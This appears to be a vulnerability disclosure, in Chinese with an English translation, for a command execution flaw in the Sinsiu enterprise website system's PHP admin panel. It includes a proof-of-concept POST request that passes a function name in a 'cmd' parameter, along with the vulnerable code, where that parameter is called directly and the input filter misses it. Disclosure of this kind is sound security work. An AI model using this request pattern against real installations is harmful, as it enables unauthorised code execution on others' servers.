BreakALegCml Create SinSiuEnterpriseWebsiteSystem History

1 contributor

211 lines (174 sloc) | 7 KB

```
中文：

      新秀企业网站系统PHP版存在命令执行漏洞

      厂商网站地址：http://www.sinsiu.com/
      影响版本：
        V1.0  下载地址：https://www.lanzoux.com/i8tj53e
        V1.1  下载地址：http://www.sinsiu.com/

      poc：
          POST /sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/deal/ HTTP/1.1
          Host: localhost
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/1
          Accept: */*
          Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
          Accept-Encoding: gzip, deflate
          Content-Type: application/x-www-form-urlencoded
          Content-Length: 11
          Origin: http://localhost
          Connection: close
          Referer: http://localhost/sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/basic/inde
          Cookie: PHPSESSID=hrjbe20ssnngqee4133k125hb2

          cmd=phpinfo

      detail：
        负责过滤参数的函数中并没有处理phpinfo；

        造成漏洞的函数：
        V1.0
```

```
-----------------------------------------
    if(check_admin_login() > 0)
      {
        if(isset($global['dir']))
        {
          include('admin/module/'.$global['dir'].'/deal.php');
        }
        $cmd = post('cmd');
        $cmd();
      }
      exit();

-------------------------------------------------

    function strict($str)
  {
    if(S_MAGIC_QUOTES_GPC)
    {
      $str = stripslashes($str);
    }
    $str = str_replace('<','&#60;',$str);
    $str = str_replace('>','&#62;',$str);
    $str = str_replace('?','&#63;',$str);
    $str = str_replace('%','&#37;',$str);
    $str = str_replace(chr(39),'&#39;',$str);
    $str = str_replace(chr(34),'&#34;',$str);
    $str = str_replace(chr(13).chr(10),'<br />',$str);
    return $str;
  }


 V1.1
 -----------------------------------------
 if(file_exists($path))
    {
      include($path);
      $cmd = post('cmd');
      if(function_exists($cmd))
      {
        $cmd();
        exit();
      }
    }
 ----------------------------------------------
       function strict($str)
    {
      if(get_magic_quotes_gpc())
      {
        $str = stripslashes($str);
```

```
            }
            $str = str_replace('&#','{^}',$str);
            $str = str_replace('#','&#35;',$str);
            $str = str_replace('--','-&#45;',$str);
            $str = str_replace('/*','/&#42;',$str);
            $str = str_replace('*/','&#42;/',$str);
            $str = str_replace('<','&#60;',$str);
            $str = str_replace('>','&#62;',$str);
            $str = str_replace('(','&#40;',$str);
            $str = str_replace(')','&#41;',$str);
            $str = str_replace("'","&#39;',$str);
            $str = str_replace('"','&#34;',$str);
            $str = str_replace('\\','&#92;',$str);
            $str = str_replace('%20',' ',$str);
            $str = str_replace(chr(13).chr(10),'<br />',$str);
            $str = str_replace('{^}','&#',$str);
            return $str;
          }
```

English:

There is a command execution vulnerability in the PHP version of the sinsiu enterprise websi

Manufacturer's website address: http://www.sinsiu.com/

Affected version:

V1.0 download address: https://www.lanzoux.com/i8tj53e

V1.1 download address: http://www.sinsiu.com/

poc:

```
POST /sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/deal/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/1
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://localhost
Connection: close
Referer: http://localhost/sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/basic/inde
```

```
  Cookie: PHPSESSID=hrjbe20ssnngqee4133k125hb2

  cmd=phpinfo


  detail:
phpinfo()  is not handled in the function responsible for filtering parameters;


Some functions that cause vulnerabilities:

V1.0
-----------------------------------------------------------
        if(check_admin_login() > 0)
  {
    if(isset($global['dir']))
    {
      include('admin/module/'.$global['dir'].'/deal.php');
    }
    $cmd = post('cmd');
    $cmd();
  }
  exit();
-----------------------------------------------------

    function strict($str)
  {
    if(S_MAGIC_QUOTES_GPC)
    {
      $str = stripslashes($str);
    }
    $str = str_replace('<','&#60;',$str);
    $str = str_replace('>','&#62;',$str);
    $str = str_replace('?','&#63;',$str);
    $str = str_replace('%','&#37;',$str);
    $str = str_replace(chr(39),'&#39;',$str);
    $str = str_replace(chr(34),'&#34;',$str);
    $str = str_replace(chr(13).chr(10),'<br />',$str);
    return $str;
  }


 V1.1
 ----------------------------------------------------
         if(file_exists($path))
    {
      include($path);
      $cmd = post('cmd');
```

```
            if(function_exists($cmd))
            {
              $cmd();
              exit();
            }
          }
    ------------------------------------------------------------
             function strict($str)
          {
            if(get_magic_quotes_gpc())
            {
              $str = stripslashes($str);
            }
            $str = str_replace('&#','{^}',$str);
            $str = str_replace('#','&#35;',$str);
            $str = str_replace('--','-&#45;',$str);
            $str = str_replace('/*','/&#42;',$str);
            $str = str_replace('*/','&#42;/',$str);
            $str = str_replace('<','&#60;',$str);
            $str = str_replace('>','&#62;',$str);
            $str = str_replace('(','&#40;',$str);
            $str = str_replace(')','&#41;',$str);
            $str = str_replace("'","&#39;',$str);
            $str = str_replace('"','&#34;',$str);
            $str = str_replace('\\','&#92;',$str);
            $str = str_replace('%20',' ',$str);
            $str = str_replace(chr(13).chr(10),'<br />',$str);
            $str = str_replace('{^}','&#',$str);
            return $str;
          }
```